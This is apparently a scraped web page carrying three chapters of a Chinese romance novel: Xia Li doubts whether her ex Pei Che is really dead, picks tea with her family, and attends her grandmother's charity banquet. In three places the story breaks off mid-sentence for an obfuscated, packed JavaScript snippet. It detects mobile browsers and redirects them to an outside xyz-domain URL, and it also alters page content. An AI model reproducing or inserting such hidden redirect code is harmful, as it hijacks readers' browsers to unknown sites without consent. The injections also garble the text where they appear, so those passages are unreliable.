夏梨想了想裴澈过来的时间段,要他把那些时间的监控全都调出来,她要看。 保镖一头雾水将监控全都调出来。 夏梨双手抱臂站着,每一个片段都仔仔细细看了,最后干笑一声。 太离奇了,难不成他是真的死了,现在住在她家的是幽灵?监控竟然什么都没有拍到。 9. Chapter.9 夏梨在监控室确认了好几遍,什么都没看出来,最后在保镖疑惑的目光中离开了。 虽然夏梨和保镖说什么事也没有,但他还是敏锐察觉到家里可能出了什么事。晚上他不仅加大了巡逻的力度,小心为上,他同时选择将这件事上报。 盛夏天的夜晚虫鸣声不绝,夏梨在花园里坐了会儿,仍旧理不出半点头绪,若有所思回到房间才发现裴澈已经不见了。 装着美元和金条的箱子在桌子上规规矩矩地摆放着,冷灰色的色泽低调却不乏质感,箱子一角压着一张纸条,上面写着: 梨梨,今晚有事出去一趟,不回来,你晚上锁好门注意安全。 落款写着裴澈。 夏梨合理怀疑就算是她真的锁好门窗,说不定第二天醒来裴澈还是在她的沙发上坐得好好的。 她不可抑制地又窜出火来,将纸条撕得粉碎全部扔进了垃圾桶。 裴澈把她这里当成旅馆吗?想来就来想走就走。 原本留下他是给自己报仇用的,现在怎么反倒觉得自己被他踩在地上摩擦呢? 夏梨一刻没耽搁地将门窗全部锁上。 洗了个澡出来,夏梨散着半干的头发走到屋中央。她脚步顿住,鼻尖轻轻耸动。她没有闻错,家里有裴澈的气息。 这味道很微弱,是他身上喷的那款香水的味道,冷松木调香。可仔细一闻,这味道又消失了。 夏梨觉得自己越来越神经质。在和裴澈刚分手的那段时间里,她也有过这种情况。大概是和一个人在一起久了,熟悉了他身上的气息,明明不在一起也还是会闻到这股香气。 因为专属裴澈的这股气息,卧室像被人入侵,尽管什么东西都没有丢。 这股香味在提醒她,她这四个月来执着的事情失败了,裴澈没有如她的愿死去,也没有如她的愿缺胳膊少腿,更没有穷困潦倒。 那个灵台没有起到任何作用。 夏梨急急走过去,把灵台上的东西全部扫进垃圾袋,一起扔到楼下的垃圾桶。明天一早陈阿姨会负责清理这里的垃圾,到时候裴澈的东西会被扔掉,不会再出现在她的家里。 至于那个诅咒的牛皮小本,更是一点用没有,夏梨思索片刻决定还是将这个本子留着,只不过被她塞到了书房抽屉的最里面。 做完这一切,夏梨累得瘫倒在床,裹着被子昏睡过去。 她向来拥有好睡眠,这一晚睡得很好,醒来也没有见到裴澈,令她舒畅了不少。 裴澈送来的那一箱子钱,夏梨不知道怎么处理,放在了他睡觉的杂物间,想着等他回来后让他带走。 这一等,两天过去,裴澈没再出现过,更没有给她发过一条消息。 夏梨打开手机想问问他还回不回来,在列表里找不到他才想起,哦,原来她把他拉黑了。 因为也不想把他拉回来,这件事就这么搁置下来。 夏梨有些懊恼。总感觉是裴澈察觉到了自己的意图才跑掉的,他那么精明一个人,怎么可能察觉不到什么,她错失了一次报复的机会。 但很快,她没有心情再去思考裴澈的事情,因为奶奶的寿宴就要到了。 按照惯例,在寿宴前,夏家的直系小辈需要去茶园采茶制茶当做礼物送上去。 夏沁茹年轻时只是一个采茶女,但她从来都不是一个安于现状的人,打拼几年,踩在时代红利的风口上,在轻工业做到了龙头,后又加速转型,她的目光长远,手里握着各行各业的股份让夏家在海城坐到了主位。 就是这么一个叱咤风云的老太太,她什么也不缺,唯独总是怀念起年轻时做采茶女的那段经历。 那片茶园在很早以前就被夏沁茹买下来,每年她总有一段时间要来茶园住住散心。 今年也不例外。 现在采茶制茶的传统已经传到夏梨这一辈。夏沁茹也是想通过这么个由头让这些孩子们聚一聚,凝结一下大家的感情。 但这也是夏梨讨厌的环节。 她到得不算早,属于是踩点到的。 在茶园的老宅大堂处,大哥夏闻铮单独坐在一边,脸上神色不明,看起来心情不太好。他的对面坐着夏语筠和夏时聿,两人正在小声说着话。 夏梨刚一进门,三人的目光便都落在她身上,夏闻铮脸上的失望一闪而过,夏语筠和夏时聿不说话了,屋内安静得只有夏梨的脚步声。 夏梨习惯了这样的场景,硬着头皮扯出一个微笑对夏闻铮喊了一声“大哥”,转头又叫了一声语筠,阿聿。 夏闻铮像是回过神来,抬起手看了眼腕表,“语灵来了,一个人来的?” 夏梨在夏闻铮身边的老红木椅坐下,管家从一边过来给她斟茶。她捉摸不透夏闻铮这话什么意思,老实回答:“嗯,就我自己。” 夏闻铮便不再说话了。 夏语筠和她遥望了一眼,抿唇对她微笑,夏梨也还回去一个微笑。夏时聿倒是笑得很和善,冲她挥了挥手,叫了一声姐。 打过招呼后,四人就这么安静地坐着。夏梨挺直背脊如坐针毡,回头看了眼保镖,发现他比自己的背挺得还直,夏梨只好就这么坐着,静静等着大哥的安排。 中途她瞄了眼时间,他们约早上八点见面,现在都八点过五分了没有一个人动身。 夏闻铮鲜少不耐烦,他再次看了眼腕表上的时间,倏地站起来道:“走吧,我们先开始。” 夏时聿跟着站起来,“不等大嫂了?” 夏闻铮头也没抬,走在最前面,“不等了。” 夏梨总算知道这股低气压从何而来,她暗自松一口气,她刚刚还以为大哥要对自己一番教育,看来和自己没有任何关系。 因为知道今天要来采茶,夏梨特意穿得休闲,跟在大哥身后往茶山上走,扑了满面的茶香。 这是夏梨第三次采茶,第一次是在十九岁,当时也是由大哥带着。尽管那时他们之间很生疏,但大哥承担起了一个哥哥的职责,教夏梨采茶的时候很认真,所以夏梨在十八岁来到夏家的时候亲近的人除了妈妈就是大哥。 后来她被安排出国读书,在国外那几年经常和奶奶过寿的时间错开,没能跟着家里一起。 大哥的脚步忽然间一顿,夏梨低着头想事情没注意撞到了他的后背。 夏梨没敢说话,因为看到他不耐烦地拿出手机解锁后查看了一阵,又关上手机放进口袋。 他们一行人的助理和保镖都跟在最后。 夏时聿就在夏梨身后,也因为前方猝不及防停下差点撞上夏梨。 “搞什么啊老姐。” 夏梨回头小声说:“是大哥。” 夏时聿立刻噤了声,用气声说:“肯定是大嫂吵架了。” 夏梨点点头没敢说话。谁都能想到,只有大嫂才有这个能力。 在夏梨的眼里,大哥是怒不自威的,他的外形冷峻,压迫感总是如影随形。她从没见大哥失态过,但自从三个月前和大嫂结婚后,他时常会被大嫂气到脸色覆上一层冷冰。 低气压只会和大嫂相关。 夏闻铮很快恢复平静,拿上一边的工具率先开始了采茶。夏梨跟着他的路径走,他采下面她就采上面。 刚开始没多久,夏梨听到他口袋一阵嗡响,大哥原本绷着的脸忽然松懈下来。 接通电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626939|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,那边的声音夏梨也能听到。 “夏闻铮你快来救我!我的车开沟里了!” 夏闻铮面色一凛,把腰上的篓子递给夏梨,迈步往外走,语速很快。 “你没让司机开车?” 大嫂的回答夏梨没听到,只看到大哥和他的助理两人走得飞快下山去了。 夏语筠接过了夏梨手上大哥的竹篓递给身后的宋廷,那是她的私人助理兼保镖。 夏语筠自然道:“那我们继续吧?” 夏梨点点头,低下头接着采茶。 夏语筠不是话多的人,而夏梨是只在熟人面前话多。但夏时聿不一样,他刚上大学,年纪小,很喜欢说话。轻易就游走在两个姐姐身边,这个说一句那个聊两句,轻松的氛围很快就被他带起来。 人多采集的速度会变快,接下来是炒茶等工艺,都顺利完成了。 大哥没再回来,三人老老实实在这里把东西都弄完了,慢悠悠走回茶园的老宅休息。 这时已经到了吃午饭的时候,院内飘出饭菜香气。 甫一进门便看到大哥和大嫂面对面坐着,大哥换下了先前的休闲装,现在穿的是西装,估计下午还要去公司,现在还在打工作电话,正说着和一个国外公司的合作。 大嫂的大长波浪卷发倾泻在背后,听见背后响动,她回过头来,露出一个明媚的笑,那张脸漂亮得有些妖气。 “抱歉啦,今天麻烦你们把我的事都做了。” 大家都规矩地叫她大嫂。夏梨很喜欢她,她长得漂亮,撒撒娇夏梨的心就软得一塌糊涂。 夏时聿嘴巴是管不上的闸门,问大嫂迟到是不是路上发生了什么意外。 安禾性格外向,嘴甜左右逢源,岁数也没和大家差多少,今天又没有长辈在场,两句话又和大家打成一片。 夏梨站在一边静静听着,原谅大嫂是在邻市出差,忙活到凌晨,她一大早自己开车回来的,整个人疲倦得不行,快到茶园的时候,她点了下脑袋,车子开进了旁边的小沟。 这是很危险的一件事。茶园在山上,路边有引流的排水口,大嫂还好没有冲到路边的栏杆去,否则后果不堪设想。 夏梨不知道为什么,竟然在这时想到了裴澈,想到他假死的时候冲破桥栏是不是下了很大的决心? 大嫂把自己一大早的经历说完,夏闻铮也已经打完电话,他觉得这件事很危险,而安禾竟然以这种开玩笑的口吻轻松说出来,令他锁紧了眉头。 “有什么好值得这样说出来的,你难道认为这是一件值得颂扬的好事吗?” 他一说话,刚刚愉悦的氛围瞬间消失。 安禾懒洋洋靠着靠背,声线之中带着要一丝讥讽:“难不成我还要哭天喊地?你能不能别破坏我的心情。” 夏时聿大概是看多了大哥大嫂拌嘴的日常,没在怕的,嬉皮笑脸说:“嫂子你别理我大哥,他就这样,老古董。我和我姐从小就被他这样数落,考试考第一名他都要说,拿着我卷子上的错题说,你是傻子第二名更是傻子,这样的题目都能做错。” 夏语筠在一旁附和夏时聿点头,“是的大嫂,大哥就这样。经常骂我蠢笨如猪,夏语筠你脑子不好使还是回娘胎重造吧诸如此类的话。” 这话果然奏效,安禾心情好了些,又笑起来,她想起来最近还有个小女孩犯了大错,当时她就在场,爸爸气得把手中的镇尺用力一拍,安禾被那声音吓得一抖,以为要升堂了。 安禾脱口而出:“小梨子,你小时候是不是也被大哥骂呀?” 无人回应。 安禾坐直,在屋内环视了一圈,茫然道:“小梨子呢?” 10. Chapter.10 夏梨早已习惯她在夏家存在感为零的事实。 她时常感觉到自己游离于夏家之外。 于血缘关系上,她身上流淌着夏家的血脉,然而在真正的交往与相处中,她却感觉到自己和他们隔着天堑。 这也没有办法,毕竟是在孩提时期就生存在不同环境下的两类人,她的成长环境没有什么富有可言。 刚刚那个场景,她只要回夏家就会经历一次。被忽视早就已经成为了习惯,所以每次遇到这种场景,夏梨会不动声色地离开,反正也不会有人注意到她什么时候离开什么时候回来的。 倒不是夏梨矫情,她只是在多经历两次之后认清了现实而已。 天气很热,她在烈日下活动那么久,早就已经出了一身汗。 上楼回房间后,她迅速冲了个凉换了身衣服。 从衣帽间出来的时候,她的房门被敲响,夏梨去开门,发现是安禾。 “大嫂。” 安禾冲她笑笑,“吃饭了哦,你刚洗了澡吗?好香。” “对,”夏梨点点头,“不过我头发被淋湿了,等会儿再下去。” 夏梨很明显是在赶客。 安禾背着手自然地走进她的房间,“不介意我在这里坐着等你吧?” 夏梨关上房门,“好的,我很快。” “不着急的小梨子。” 大嫂总喜欢叫她小梨子,夏梨吹头发的时候想,这或许就是她对大嫂有天然的好感的原因。 头发吹干,夏梨照旧披散开来,从镜子里看到了走到门边的安禾。 她倚靠在浴室门边,双手环胸,嘴角带笑歪头看着她。 两人的视线在镜子中交汇,安禾说:“你的头发好漂亮。” 她伸出手摸了摸夏梨的长发,“好黑,而且发质好好。有做护理吗?” 夏梨摸不着头脑,“有的。” “下次去做的时候叫上我,我现在去的那家美容院不行了,总感觉在杀熟,我的发质都没有之前好了。” 夏梨愣了愣,看着大嫂那一头海藻般柔顺的卷发,后知后觉大嫂这是在和她拉近关系? 但和她拉近关系好像没有什么必要啊。她不是夏家受宠的孩子,而且大嫂本来就已经有大哥精心爱护了。 但夏梨从来不会拒绝和一个美女做朋友,何况就算不做朋友,她明面上也不能拒绝嫂子。 “好,我到时候提前叫你。” 两人说定了之后一起下楼吃饭,满桌子的人正在等着她们。 夏家吃饭只等长辈不等后辈,大嫂是长辈,所以他们得等着。 “抱歉久等啦,开饭吧。”安禾笑着坐回自己的位置。 刚一坐下夏闻铮凑近她耳边低声说:“不要再叫小梨子了,她改名了,今晚要回家,小心奶奶听到这个不高兴。” 安禾托腮看着他,勉强弯了弯眉眼,凑到他耳边,以同样小的声音说:“好的哦老公。” 午餐过后夏梨被夏闻铮叫去了书房。 他等会儿就要去公司,在回家前需要和夏梨聊一聊。 夏梨不用想都知道大概是什么事。其实她今天偷偷离开的时候听到大家对大哥的“指责”时有些怔愣。虽说他看起来总是很严肃,但夏梨从未受到过他的苛责,就算做错了事也没有受到过什么惩戒。 她没有和哥哥一起长大,和夏时聿对大哥的感情是有区别的。 走进书房,夏闻铮正在打电话,他一边抬手示意夏梨坐,一边继续和电话那头的人交涉。 夏梨听到个耳熟的名字——Felix,哥哥的英文发音很标准,夏梨听得很清楚,就是Felix,不过外国人重名的有很多,夏梨不太清楚是不是自己知道的那个Felix。 夏闻铮的电话很快打完,坐下和夏梨交谈,他要说的话和之前夏语筠对她说的差不多,大哥和夏语筠说话的时候都很温柔,都没有指责她。 夏梨:“我明白,语筠那天都和我说了,我会注意的。” 她再不高兴不满意,至少在这次宴会上会给足奶奶面子,不会砸她的场子,更不会砸了夏家的脸面。 夏闻铮不喜欢把事情反复咀嚼,原本他还想再提醒一下夏梨不要和裴家有往来,又觉得这事大概夏语筠也已经提醒过,妹妹不是不懂事的人,不需要反复提点,这事便就此作罢。 该说的都已经说完,夏梨走前犹豫了一下,问道:“哥,我刚刚听到你打电话,你说的Felix,是不是Archer科技的Felix?” 夏闻铮打电话的时候没有刻意避开夏梨,家里早就有意愿让她接手家里的产业,只不过她自己兴趣缺缺,奶奶私下里对她很是恨铁不成钢。 听到夏梨忽然主动提起公司的事,他觉得或许自己找到了一个很好的切入点。 “是,就是Archer的,你认识?等等……我想起来了,Felix和你同校,或许你见过他?” Felix的确和自己同校,但是Felix比自己大了八岁,她读书的时候他早就毕业了。 夏梨:“我认识他,他不认识我。他给学校捐过一栋楼,还来学校参加过演讲,我们学校的人都认识他。” 学校都知道Felix的传奇故事,原本是一个只能睡大街的穷小子研发出了一款能和人进行深层次对话的人工智能仿生机器人,他从大街睡到曼哈顿上东区,家里的机械断臂断头断腿堆满了客厅,光线不足的时候很是惊悚。 Felix行事怪异又疯癫,有很多企业想和他合作,却很难和他谈下来。 夏梨猜测大概是家里有了想往人工智能这方面发展的想法。又是人工智能……夏梨锁着眉头,有些不太想听到这个名词。 夏闻铮面上喜悦忽至,“那太好了。我的团队争取到了和他谈话的机会,你和我一起去。” 夏梨:? 她指着自己,疑惑开口,“我?” 夏梨摆摆手,“我什么都不懂,我去干什么?我连你手上的项目是什么都不知道。” “这个倒是不着急,晚上我带一份企划书回来给你,你慢慢看,看不完看不懂都没关系,反正我们见面不谈生意,你和他同校应该有很多共同话题。” 夏梨胸口闷痛,她迟疑开口:“哥……你是不是误会了,我没这个……” 夏闻铮适时打断她,“就这么说定了,晚上回去我会告诉爸爸这件事,你不是要和他表决心吗?就用这件事,用这件事表决心比你说什么都管用,事成之后你就是大功臣。” 夏梨稀里糊涂地被安了一件差事,还是件大差事,走出书房的时候脚步都在发沉,她就不该多嘴问那句话。 下午就剩下夏梨和夏时聿两个闲散人员不需要上班。夏梨要午睡,夏时聿一个人窝在电脑房里打游戏。 四点钟的时候,两个人十分默契地在楼下集合了。 夏梨和夏时聿两个人之间的交流在之前来说并不多,但他这人算是自来熟,就算是夏梨觉得尴尬夏时聿也不会。 夏时聿打开车门让夏梨先上车,这是他长期以来的良好教养。 车子平稳驶出茶园,车流渐多,夏时聿在这时问了一句:“姐,你最近还好吗?” 夏梨不明所以,先点了点头,“为什么这么问?” 夏时聿整理了一下措辞,却发现好像哪句话都不适合在现在说,只好说出两个字:“节哀。” 在夏家,夏闻铮和夏语筠是两个变态严于律己的存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626940|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而夏时聿一直靠着自己的小聪明吊儿郎当,尽管现在在国内top大学读书,却也始终被夏沁茹所诟病。 但半道多了个夏梨,她似乎比夏时聿更加半吊子,分走了不少汇集在夏时聿身上的火力。 夏时聿不想幸灾乐祸,但是却和夏梨生出了一些惺惺相惜的感觉。 所以“节哀”两个字倒是真心实意。 夏梨疑惑看着他,下一秒忽然想起,对于大家来说,裴澈是真的已经死了。 只有她一个人知道裴澈活着,假如她现在告诉别人裴澈还活着,大家可能要齐心协力将她拖去精神病院。 夏梨不自然地捋了捋头发说:“我没事。” 她是真没事,但在别人看来,她的没事便成了勉强。 夏时聿还不知道家里的情况,他这段时间都在学校,不知道夏梨的处境。于是开玩笑地说:“没事儿的姐,要不我给你做介绍吧,走入新感情才能抛弃旧感情,很快就能走出来了。” “谢谢,我不需要。” 夏时聿想想也是,毕竟夏梨的男朋友是死了不是背叛,搁谁心里都不太好受,他现在强行介绍也不太合适。 他想找补,于是又补充了一句:“好吧,那你需要的时候和我说。” 夏梨扯扯嘴角冲他笑了一下,算是谢谢他的好意了。 她现在心不在焉不是因为裴澈,事情的优先级来说,她现在比较担心回家后的情况。 一个小时后,车子平稳停在夏家的地下车库。 夏梨从车上下来,便觉得心里笼罩的乌云越聚越多。 管家过来迎接他们,“大小姐和小少爷回来了。” 夏梨起一层鸡皮疙瘩。 夏时聿早就习惯这些称呼,他语气平常,问了句:“周叔,大人们都在家吗?” 周管家回答:“老板在工厂考察,董事长在公司,太太和谢家太太有约,晚上不回来吃饭。” “哦好。”夏时聿随口应了,进门后就直奔楼上。 夏梨回到夏家就浑身不自在,也叫了声周叔就准备上楼。 周管家却把她叫住:“大小姐,老板说,您今天就不要再出门了,她晚上有话要问你。” 夏梨冷不丁打了个激灵,木讷地点点头。 夏梨回房等到吃晚饭,终于见到了很久没见的夏沁茹。 她穿着一身黑西装,大背头掺着几丝银发。身体精瘦却有力,她向来对自己要求严格,这几年锻炼也没少,走起路来比年轻人还脚下生风。 夏梨坐在餐桌左侧第三个位置,前面两个位置是大哥大嫂的,他提前知会过今晚不回来吃饭,所以她前面空了两个。 对面桌原本坐着爸爸和妈妈,他们也没回来,家里就剩下夏沁茹和三个小辈。 夏梨怵夏沁茹,低着头没敢说话。 夏沁茹进门后脱掉西装外套,挽起衬衫的袖子,路过夏梨身后的时候点了她一下。 “坐我旁边来。” 夏语筠和夏时聿两人担忧地看过来。 旁边有女佣送上来冒热气的手帕,夏沁茹慢条斯理把手擦净后递走,这才看了一眼身旁的夏梨。 “瘦了点。”夏沁茹说:“陈妈做饭不和你胃口?” 夏梨:“没有。可能天气热了吃不下什么东西。” 这话夏沁茹没回。 “回家了就好好吃饭,有什么问题和赵医生说一下,让他给你看看有什么问题对症下药,饭不能不吃。” “好。” 夏梨短暂松了一口气,看到夏沁茹动筷子了才拿起手边的筷子。 “你很喜欢裴澈,和我说说你和他的事情。” “啊?”夏梨心里一紧,茫然抬起头。 11. Chapter.11 夏梨当然不会傻到以为夏沁茹是真的想要了解她和裴澈的故事。 她要是一五一十把她和裴澈的故事从相识说起,夏沁茹大概会当场给她一个耳光,并骂她是不是脑子有问题。 不,她不会用这样粗鲁的语言,她会说,我帮你挂了号,明早,海城脑科医院,去看看。 夏梨看着她说:“没有什么好说的,他都死了。” “原来你知道他死了。”夏沁茹看过来,嘴角带着笑。 那不是真心实意的笑,那只是一个弧度,一个讥讽的弧度。 “不过确实挺可惜的。我和他打过两次交道,裴澈的确年轻有为,长得有几分姿色,你喜欢他也不奇怪。可惜死的早,没那个享福的命,不然入赘到我们家也不错。” 夏梨险些哽住,要是奶奶知道裴澈根本就没死不知道作何感想;要是裴澈听到奶奶要他入赘到夏家,不知道他又作何感想。 前者估计知道了只会轻飘飘一句,他玩过家家呢;后者大概会暴跳如雷拂袖而去吧。 夏梨想,裴澈这种人大概率接受不了入赘,可惜了,看不到他暴跳如雷的样子。 “也没多喜欢,玩玩而已。”夏梨随口说。 估计夏沁茹会觉得她嘴硬,她无所谓了。 夏沁茹还是看着她,“要是真喜欢裴家的,他家不是还有一个孩子吗?我看那个也长得不错,你喜欢的话接触一下也行,不过比他哥哥逊色一点,但也没办法你喜欢。” 夏梨暗自深呼吸,她就知道夏沁茹会抓着这件事一直阴阳怪气。 算了,眼下没有骂她已经是最好的结果了。 夏时聿离夏梨就两个座位,他听得一清二楚,第一次觉得裴澈哥可怜,死了还要被人背后议论,现在还要让他的女友和别他的弟弟在一起。 夏梨直白地说:“没兴趣。” “那你的现在的兴趣在哪儿?我听闻铮说你今天主动请缨参与他手上的项目,要不你去你大哥手下学习?” 主动?大哥真会给她脸上贴金。但她已经被大哥架到这个位置上来了,她总不能说大哥撒谎,她压根没兴趣吧。 横竖是回来求和的,她态度放软了。 “是的,Archer的Felix比我大几届,是我校友,大哥觉得我们可能会有共同语言,或许可以促成合作。” 说到正事上,夏沁茹倒是没有含糊,收敛了些阴阳怪气的劲头。她若有所思点点头,“可以,你这次好好跟着你大哥学,公司的事你也该要学学了。” 看来这件事以后,她还得装模作样去几天公司,夏梨只能点头说好。好在后面夏沁茹也只是问问她生活上的事情,住的地方习不习惯,手下的人用得习不习惯,没再向她发难。 她后半程的晚餐不至于那么难以下咽。 明天的寿宴早已经安排好了。夏梨这段时间没回家,但家里的一切都照常运行。 夏沁茹似乎对夏梨今天主动提出要去公司学习的行为很满意,吃过饭后让她跟着夏语筠去看一下明天晚宴的流程。 中午是家宴,没有什么好讲究的,就是自家人吃个饭。重点是明天的慈善晚宴,邀请了各界名流,这件事不可以出差错,不然打的就是夏家的脸。 夏梨之前参加宴会次数并不多,慈善晚宴是第一次参加,毕竟夏沁茹也不是每一年都会举办。 夏梨原先根本不知道还有晚宴,她以为就是普通的家宴,所以根本没有想那么多。现在才知道竟然还有慈善晚宴,没人通知她,她也什么准备都没做,莫名有些紧张。 夏语筠适时地拍了拍她的肩膀,给她一点安慰。 “不用担心,你已经不是第一次进入这种场合了,而且我们只是辅助,要做的事情不多,更多的事已经由奶奶手下的人办好了。”夏语筠经手过大大小小不少宴会,她把流程图交给夏梨。 “需要你做的事情不多,这些流程你先熟悉,还有这个,你好像是第一次参加慈善晚宴,”夏语筠递给她一本厚厚的文件夹,“这里都是明天会出席的嘉宾,你要把每个人的名字和脸对照起来然后记住。明天我们两个会跟在奶奶身后,到时候可不要叫错人了。” 夏梨捧着厚厚的花名册,粗略翻看了一下,上面把每个人的信息都写得很清楚,包括但不限于家庭情况,所任的职位,甚至还有小道八卦,包养了几位情妇,底下情妇的大致信息也有。 怎么和之前参加过的宴会的流程不一样?之前她只要露个脸就好,怎么这次还要记这些? “等一下,语筠。”夏梨指着情妇那一栏问:“这个我也要记吗?” 夏语筠点头,“要的,名字如果记不住的话就记一下姓氏。” “这么多……我一晚上记不完啊……要不,明天晚宴我不参加了吧,反正有你在。”夏梨不在乎这些东西,反正有夏语筠顶着,而且奶奶明显更喜欢夏语筠。 但夏语筠只是定定看着她,冷漠道:“不行。如果你有什么异议可以去和奶奶说,奶奶要是答应你不用出席的话,你就不用出席了。” 这话等于没说,明知道奶奶绝对会拒绝。 夏语筠把后续要说的注意事项都说完后就准备离开,末了顿住脚步,欲言又止,转了话头道:“好好背,有什么不懂的可以问我。” “好。” “那就没事了,我要去一趟活动场地看看,你要不要和我一起去?熟悉一下场地对你也有帮助。” 夏梨感觉手上的文件夹越来越沉,她在心里权衡了一下说:“我还是留下背人名吧,这个好像更重要一点。” 夏语筠点了点头,剩下的她也帮不上什么忙,她要去忙自己的事情了。 夏梨跟着夏语筠从她的房间离开,回房间后翻开了厚厚的文件夹,嚎了一声扑倒在桌上,此刻她无比憎恨这些包养情妇的恶心男人。 这一晚夏梨捧着咖啡将所有出席人的名字过了三遍,最后在天色快亮起的时候昏睡过去。 早上起来,夏梨洗漱过后又开始背名单。她记忆里只有很久以前的期末考试才有这种临时抱佛脚的情况。 中途夏闻铮给她来送企划书,夏梨感觉一个头两个大。 夏闻铮看着她的黑眼圈,安慰了她几句,要她不用这么认真,“奶奶是给你安排了后手的,到时候会有助理跟着你,你如果不记得了她会提醒你。” 夏梨总算是知道了,夏沁茹要是想整她,简直容易得很,指不定昨天听说自己通宵背名单在背地里偷着乐呢。 她实在是太会抓住夏梨的心理了,她知道夏梨没有经历过这种大场面会紧张会害怕,所以背名单这样的事她会付出百分百的努力。 在她老老实实把所有的名单都背了一整个通宵后才借大哥的口告诉她,其实还有后手。 夏梨果断又回房睡了会儿。 中午的家宴,夏家的旁支都会来,按理来说夏梨该早起的,但她存着报复心理,特意睡到了快吃午饭才起。 废柴大小姐的名称亲戚们早就已经在背地里传遍了,她又不是不知道。 夏梨不想管这么多,先睡饱了再说。 果不其然下楼就听见大伯母笑着说她年轻人脸上胶原蛋白真是充足,还是要多睡觉,人老了睡眠少了,哪来的胶原蛋白。 这是讽刺她睡得脸都肿了。 夏梨懒得和她计较,冲她露出一排大白牙说:“大伯母别笑了,医生没有嘱咐你少做点表情吗?你的脸僵得嘴都张不开了。” 夏梨摆烂的时候才不管别人的死活,之前在夏家的矛盾就是这样积累起来的。 大伯母噤声,原想要闹,但今天好歹是夏沁茹过寿,这点委屈只能压下去,她静静等着夏梨出错。 午宴算是正常度过,没有人向她发难,下午大家各有各的事,夏家上下忙的飞起。 造型师上门给夏梨设计造型,忙活了一整个下午,夏梨饿得前胸贴后背。 正式做完后,夏沁茹过来看她,难得心满意足地点点头,“这下像那么回事。” 夏沁茹只穿简单的礼裙,人看起来精神矍铄,她身后跟着夏语筠,两人都穿得简单,只有夏梨穿得比她们要稍微隆重一点。 当然也只是相对隆重,毕竟这是慈善晚宴,也不能穿得太过头。 她本人风格如此,比起夏沁茹和夏语筠的利落干练,她的五官漂亮得更出众一些。如果她从出生就在夏家,一定是最受宠的骄纵大小姐。 夏沁茹安排,“语灵和我坐一辆车,语筠和时聿一起。” 夏语灵换好高跟鞋,提起素白的裙摆跟在夏沁茹的身边。周叔打开车门,夏沁茹先上了车,夏语灵随后。 等车渐渐驶远,周叔才轻声说了一句:“真是和老板年轻的时候一模一样啊……” 夏梨之前没和夏沁茹坐过同一辆车,一般都是夏沁茹自己坐一辆,她和夏语筠坐一辆车,或者她自己单独一辆。 所以车上的氛围没有那么轻松,夏梨不知道要怎么和奶奶相处。 “不用那么紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626941|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张,”夏沁茹揉揉太阳穴说:“还没到酒店,你可以先睡一下。” 夏梨这才靠上靠背,轻轻合上眼睛。 酒店内富丽堂皇,晃得夏梨有些头晕,睡眠不足,出门前没吃东西,现在紧张起来胃里也没有什么东西可以吐的。 夏梨和夏语筠分别站在夏沁茹身边,有人上前和夏沁茹敬酒攀谈,看到了夏沁茹身后的夏梨和夏语筠。大家对夏语筠的身份更熟悉,毕竟这位是从前就一直跟着夏沁茹出席各种场合的,只不过对夏梨的身份稍有些迟疑。 夏家并没有刻意隐瞒夏梨的存在,总有有心人能打听到夏梨的身份,但也有不知道的,夏沁茹这时候会说:“这就是小时候去修炼的孩子,现在被我们接回来了。” 所谓的修炼,是夏家给外界的幌子,说是小时候摸骨被师傅带去山上了。听起来怪力乱神的,但有些人信这一套。不信的也不能怎么样,夏家有意隐瞒,大家表面做做戏,私下心知肚明就好。 夏梨尽心尽力扮演好淑女角色,露出一个标准的微笑,从记忆里搜寻出这人的名字,向人问好。 她隐约猜出为什么夏沁茹今天要一直带着她了,从前的普通宴会夏梨都是露个面就行,但自从上次葬礼的事情隐秘地传开后,大家私下里对她议论纷纷,夏沁茹趁着这时候把她推出来,大大方方地打个招呼,大家心里就有个数了。 背地里说夏梨什么都好,但是当着夏沁茹的面大家就算调侃也只能说一句夏梨重情重义。 夏梨分清楚了形势,惊觉自己这是搬起石头砸自己的脚。但她并不后悔,原先那么做本来就也有报复夏家的成分在。 夏梨扭了扭站麻的脚,她在奶奶和人谈话的时候小范围地张望,看到了秦方好,她和父母一起,两人一个对视,她朝夏梨挥了挥手。 夏梨不敢做什么动作,冲她挑了挑眉,等奶奶的交谈对象走了后,她才低头小声问:“秦方好在那边,我可以去和她玩吗?” “不可以。” 而下一秒,夏语筠也看到了自己的朋友,她也低头和奶奶说了句什么,夏沁茹点了点头,夏语筠便离开了。 夏语筠不会一直跟在夏沁茹身边,因为她在这场宴会还担了别的职责,很多事需要她去处理,她想去找好友,随便找个需要她亲自处理的借口便可以脱身。 但是夏梨不行,她没有任何项目需要负责,现在脱不开身。 夏语筠笑着和自己的朋友拥抱,两人找了个小角落吃东西闲聊。 